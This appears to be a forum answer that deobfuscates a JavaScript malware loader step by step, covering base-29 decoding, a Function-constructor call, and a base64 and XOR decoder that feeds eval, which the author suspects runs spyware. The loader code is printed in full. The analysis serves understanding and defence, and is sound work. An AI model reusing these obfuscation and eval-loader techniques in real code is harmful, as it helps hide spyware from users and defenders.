I've looked into the code and did some investigation. It's more a comment than a answer but way to long for a comment so here it is:
(function (paramA, paramB, paramC, paramD) {
someVar = "";
try {
paramB = paramB.replace(/[^A-Z0-9]+/gi, ""), paramB = paramB.split([]), someVar = document;
return
} catch (e) {
for (i = 0; i < paramB.length; i += 2)
someVar += String.fromCharCode(paramA(paramB[i] + paramB[i + 1], 29));
String.fromCharCode.constructor(someVar)(paramC, paramD)
}
})(parseInt, string1, string2, string3)
The first view steps alter the text and make one big char array out of it. Than a exception is throwen and we continue in the loop. The loop creates a new string via the parseInt. It takes one char and the next one from the array and creates a base 29 number out of it.
The line String.fromCharCode.constructor(someVar)(paramC, paramD);
is tricky. Because it takes someVar which is a string containing a JS code, creating with the constructor function an anonymous function which gets called with paramC and paramD.
The code generated looks like that:
kPxRViGad8nHNstI$BVr8Lf="";(function(rycgnpqpq,rycgyjqpq,rycggoqpq,rycglpqpq){rycgnpqpq=rycglpqpq(rycgnpqpq),rycgyjqpq=rycglpqpq(rycgyjqpq);try{eval(rycggoqpq("5eb9485dd4a658f8bf9318976cd9832392d4904d",rycgyjqpq))}catch(rycgbsqpq){}})(arguments[0],arguments[1],function(rycgxhqpq,rycgmfqpq){rycgniqpq="";for(rycgqdqpq=0;rycgqdqpq<rycgmfqpq.length;rycgqdqpq++)rycgniqpq+=String.fromCharCode(rycgxhqpq.charCodeAt(rycgqdqpq%rycgxhqpq.length)^rycgmfqpq.charCodeAt(rycgqdqpq));return rycgniqpq},function(rycgunqpq){rycgfyqpq={},rycgunqpq=rycgunqpq.replace(/[^+A-Z0-9\/]+/gi,""),rycguwqpq="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";for(rycgowqpq=0,rycggdqpq=rycguwqpq.length;rycgowqpq<rycggdqpq;rycgowqpq++)rycgfyqpq[rycguwqpq.charAt(rycgowqpq)]=rycgowqpq;rycgdzqpq=[];for(rycgorqpq=0,rycgrfqpq=rycgunqpq.length;rycgorqpq<rycgrfqpq;rycgorqpq+=4)rycguuqpq=(rycgfyqpq[rycgunqpq.charAt(rycgorqpq)]||0)<<18|(rycgfyqpq[rycgunqpq.charAt(1+rycgorqpq)]||0)<<12|(rycgfyqpq[rycgunqpq.charAt(rycgorqpq+2)]||0)<<6|(rycgfyqpq[rycgunqpq.charAt(3+rycgorqpq)]||0),rycgdzqpq.push(rycguuqpq>>16,rycguuqpq>>8&255,rycguuqpq&255);return rycgdzqpq.length-=[0,0,2,1][rycgunqpq.length%4],String.fromCharCode.apply(String,rycgdzqpq)});
This is a multiple nested function. It ultimatly creates a very big script and runs it within an eval. The third script looks like some spy script because it contains strings like homepage_is_newtabpage, last_prompted_google_url, stackoverflow, facebook, etc.